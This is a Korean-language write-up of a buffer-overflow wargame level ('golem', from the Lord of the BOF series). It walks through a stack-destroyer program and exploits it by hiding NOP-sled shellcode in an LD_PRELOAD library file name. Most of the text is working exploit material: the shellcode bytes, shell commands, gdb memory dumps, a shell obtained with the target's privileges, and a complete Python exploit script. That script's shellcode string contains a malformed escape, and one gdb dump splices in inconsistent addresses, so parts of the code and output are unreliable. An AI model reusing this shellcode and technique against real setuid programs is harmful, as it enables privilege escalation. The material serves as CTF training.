[LOB]Level11. golem

 

+ Stack Destroyer

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer!
    memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

0x01. Analysis

  • RET의 시작주소는 \xbf
  • buffer 배열 초기화
  • RET이후 스택 영역 모두 초기화

앞문제에서 스택 최상단에 초기화 되지 않는 환경변수 영역까지 초기화 시키는 것을 확인할 수 있다.

따라서, 매개변수, 버퍼, 환경변수 모두 사용 불가하다.

이제 프로그램 실행에 있어서 큰그림을 살펴봐야한다. 프로그램이 동작할 때 메모리에 실행한 프로그램만 로드되는 것이 아니다. 프로그램 내부에서 사용하는 함수들도 필요하므로 전부 메모리에 로드되게 된다. 일반적으로 내부 함수들은 외부 라이브러리에 존재하기 때문에 다른 메모리 영역에 존재하게된다.

[skeleton@localhost skeleton]$ ldd golem
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

프로그램 내부의 printf함수, strcpy, memset함수들이 모두 위 라이브러리에 속하여있고, 해당 주소에 위치되어 메모리에 로드된다.

여기서 만약 해당 라이브러리에 등록되지 않는 다른 임의의 함수를 추가해서 사용할 때는 어떻게 될까?

해당 함수를 메모리상에 로드해야 실행을 할 수 있으므로 프로그램 동작 시 사전에 메모리에 로드하게 된다.

이러한 설정을 할 수 있는 환경변수가 리눅스에 존재한다. LD_PRELOAD 이다.

LD_PRELOAD

프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다. 이러한 특성을 이용하여 후킹도 가능하다.

1. LD_PRELOAD 환경 변수 등록

tmp.c 라는 파일을 만들고 해당 파일에 NOP코드와 쉘코드로 구성된 파일명으로 컴파일 한다.

이때 -fPIC-shared 옵션을 사용하여 컴파일한다. 쉘코드 안에는 '\x2f'가 있으면 안된다.

[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cd tmp
[skeleton@localhost /tmp]$ vi tmp.c
//tmp.c
int main(){
        return 0;
}
'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

-fPIC : Position-Independent Code의 약자이며 .o 파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션

-shared : 공유 라이브러리를 만드는 옵션

[skeleton@localhost tmp]$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost /tmp]$ ls
tmp.c
?????????????????????????????????????????????????????????????????????????????????????????????????????^12?l????u楕
?凹2핽i00tii0cjo??T????

그리고 export LD_PRELOAD 명령어로 해당 파일을 등록한다. 이때 파일명을 반드시 절대경로로 지정해야 한다.

[skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

이제 gdb로 LD_PRELOAD 환경변수가 메모리 어디에 로드되는지 확인해보자.

[skeleton@localhost tmp]$ cd ../
[skeleton@localhost skeleton]$ gdb -q ./aolem
(gdb) b*main+166
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/./aolem `python -c 'print "\xbf"*48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 1, 0x8048516 in main ()
(gdb) x/100x $esp-3000
==================================(생략)===================================
0xbffff754:     0x6d6f682f      0x6b732f65      0x74656c65      0x742f6e6f
0xbffff764:     0x902f706d      0x90909090      0x90909090      0x90909090
0xbffff774:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff784:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff794:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7a4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7b4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7c4:     0x90909090      0xeb909090      0xc9315e11      0x6c8032b1
0xbffff7d4:     0x8001ff0e      0xf67501e9      0xeae805eb      0x32ffffff
0xbffff7e4:     0x306951c1      0x69697430      0x6f6a6330      0x5451e48a
0xbffff7f4:     0xb19ae28a      0x0081ce0c      0x40013868      0x4000220c

LD_PRELOAD는 golem의 메모리 영역보다 낮은 주소에 있기 때문에 초기화 되지 않은것을 알수 있다.

주소는 0xbffff774 근처로 잡으면 될 것같다.


0x02. Exploit

[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\x74\xf7\xff\xbf"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱t?
풺ash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$

0x03. 정리

앞 문제에서 초기화 되지 않는 환경변수 영역이 있어 이를 이용한 공격이 가능했지만, 이 또한 egghunter가 아닌 다른 방법으로 초기화 할 수 있음을 확인할 수 있었다.

그리고 LD_PRELOAD에 대해서 프로그램 실행시 사전에 메모리에 또다른 영역에 로드되는 것을 확인할 수 있었다.

실제 buffer배열의 주소와 LD_PRELOAD에 주소를 살펴보면,

Breakpoint 3, 0x80484d5 in main ()
(gdb) x/32x $ebp-40
0xbffffbc0:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbd0:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbe0:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbf0:     0x00000000      0xbffffc34      0xbffffc40      0x40013868
0xbffff764:     0x902f706d      0x90909090      0x90909090      0x90909090
0xbffff774:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff784:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff794:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7a4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff7b4:     0x90909090      0x90909090      0x90909090      0x90909090

buffer배열의 시작주소는 0xbffffbc0 이고 LD_PRELOAD의 시작주소는 0xbffff764 인 것을 확인할 수 있다.

memset을통해 buffer+48부터 0xbfffffff 까지 초기화 하기 때문에 LD_PRELOAD 영역은 초기화 되지 않는 것이다.


import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/skeleton/golem"

shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
shellcode = "\x90"*100 + shellcode

shellcode_addr = 0xbffff6b8

f = open("temp.c", "wt")
f.write("main(){}")
f.close()

pid = os.fork()
gcc = "/usr/bin/gcc"

if pid == 0:
        os.execv(gcc, (gcc, '-fPIC', '-shared', '-o', shellcode, 'temp.c'))
else:
        os.waitpid(pid, 0)

os.putenv('LD_PRELOAD', os.path.abspath(shellcode))

payload = "\x90"*44
payload = append(p32(shellcode_addr))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)